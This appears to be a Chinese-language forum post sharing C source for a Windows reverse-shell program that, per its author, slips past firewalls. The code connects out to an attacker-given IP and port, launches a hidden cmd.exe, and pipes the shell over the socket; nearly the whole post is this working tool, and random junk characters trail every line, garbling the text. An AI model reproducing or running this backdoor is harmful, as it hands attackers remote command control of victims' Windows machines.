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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6 kAXE\T  
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/* ============================== UjS,<>fm  
Rebound port in Windows NT /@K1"/fqH  
By wind,2006/7 o,=dm@j  
===============================*/ &y:SK)  
#include 6>/g`%`N  
#include e}W|wJ):j@  
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#pragma comment(lib,"wsock32.lib") 'E#Bz"T  
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void OutputShell(); <z-+{-?z~  
SOCKET sClient; E% \Ohs7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >/DlxYG?  
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void main(int argc,char **argv) YRJw,xl  
{ b`DPf@p^kc  
WSADATA stWsaData; x=VLRh%Gvl  
int nRet; R8fB 8 )  
SOCKADDR_IN stSaiClient,stSaiServer; LT) G"U~  
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if(argc != 3) X h"8uJD  
{ |ea}+N  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~Z x_"  
return; P:v|JER   
} zgA/B{DaC;  
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WSAStartup(MAKEWORD(2,2),&stWsaData); X?q,m4+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NEX{vZkgw  
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stSaiClient.sin_family = AF_INET; qX!P:M  
stSaiClient.sin_port = htons(0); p ^Dm w0y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |1^ !rHg  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K1^x+I7%U[  
{ Py-}tFr  
printf("Bind Socket Failed!\n"); y4N=v{EbL  
return; <>^otb,e$  
} lAx^!#~\  
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stSaiServer.sin_family = AF_INET; SHP_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ER*Et+ >  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `'M}.q,k~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c*`= o( S  
{ zsha/:b  
printf("Connect Error!"); p>GxSE)  
return; =aE!y5  
} {/SLDyf%Z  
OutputShell(); ekhx?rz  
} X\'+);Z  
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void OutputShell() cAc>p-y%  
{ <46fk*  
char szBuff[1024]; V<G=pPC'H  
SECURITY_ATTRIBUTES stSecurityAttributes; $&[}+??  
OSVERSIONINFO stOsversionInfo; k\wI^D  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @EzO bE{  
STARTUPINFO stStartupInfo; 2/V9Or 52  
char *szShell; ![4<6/2gy  
PROCESS_INFORMATION stProcessInformation; ) v^;"q"  
unsigned long lBytesRead; qx<h rC0Z&  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Uk|(VR9  
nRlvW{p;  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zeG_H}[2&  
stSecurityAttributes.lpSecurityDescriptor = 0; D "9Hv3  
stSecurityAttributes.bInheritHandle = TRUE; !`?*zf  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .YcI .  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 86N"EuH$  
x7 l3&;yDv  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yUzpl[*e^o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1lLL9l{UVw  
stStartupInfo.wShowWindow = SW_HIDE; U k*HRudt  
stStartupInfo.hStdInput = hReadPipe; E;Sb e9]   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vTY+J$N__  
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GetVersionEx(&stOsversionInfo); .,5N/p"aV  
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switch(stOsversionInfo.dwPlatformId) W_ hckq.  
{ # ^~[\8v>  
case 1: N++jI(  
szShell = "command.com"; (:2,Rr1"  
break; `cBV+00YS  
default: m?Qr)F_M  
szShell = "cmd.exe"; 3>t^Xu~  
break; ,/>hWAx  
} ;.4A,7w#  
(( D*kd"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o:irwfArv  
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send(sClient,szMsg,77,0); A$]&j5nh|  
while(1) V)8d1S  
{ ,Bg)p_B  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qFD#D_O6  
if(lBytesRead) UBy< vwnU  
{ PtT=HvP!k  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W{!GL  
send(sClient,szBuff,lBytesRead,0); N-4k 9l1  
} * vMNv  
else 6(uK5eD(!n  
{ ToWtltCD  
lBytesRead=recv(sClient,szBuff,1024,0); $<(FZb=  
if(lBytesRead<=0) break; Zw`vPvb!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q(\U'|%J  
} 8NRc+@f|m  
} <p74U( V  
3j iSvrfI  
return; xF4>G0  
}
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